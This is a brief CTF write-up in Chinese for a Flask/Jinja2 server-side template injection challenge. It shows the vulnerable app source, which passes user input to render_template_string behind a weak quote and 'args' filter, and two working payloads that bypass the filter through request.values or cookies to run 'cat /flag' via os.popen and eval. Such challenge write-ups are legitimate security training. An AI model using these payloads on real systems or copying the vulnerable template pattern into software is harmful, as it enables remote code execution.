Werkzeug/1.0.1Python/3.8.7
web363 的又被过滤了,换个其他的 EXP (
为了看源码。。。
/?name={{lipsum.__globals__.os.popen(request.values.tari).read()}}&tari=cat%20/flag

源码
from flask import Flaskfrom flask import requestfrom flask import render_template_stringimport reapp = Flask(__name__)@app.route('/')def app_index():name = request.args.get('name')if name:if re.search(r"\'|\"|args",name,re.I):return ':('template = '''{%% block body %%}<div class="center-content error"><h1>Hello</h1><h3>%s</h3></div>{%% endblock %%}''' % (request.args.get('name'))return render_template_string(template)if __name__=="__main__":app.run(host='0.0.0.0',port=80)
在 web363 的基础上多过滤了 args
分别 print 一下 request.values 和 request.args
发现原来 request.values 是 request.args 对象的组合
其他类似解法,如写入 request.cookies
/?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
Cookie 传值
Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

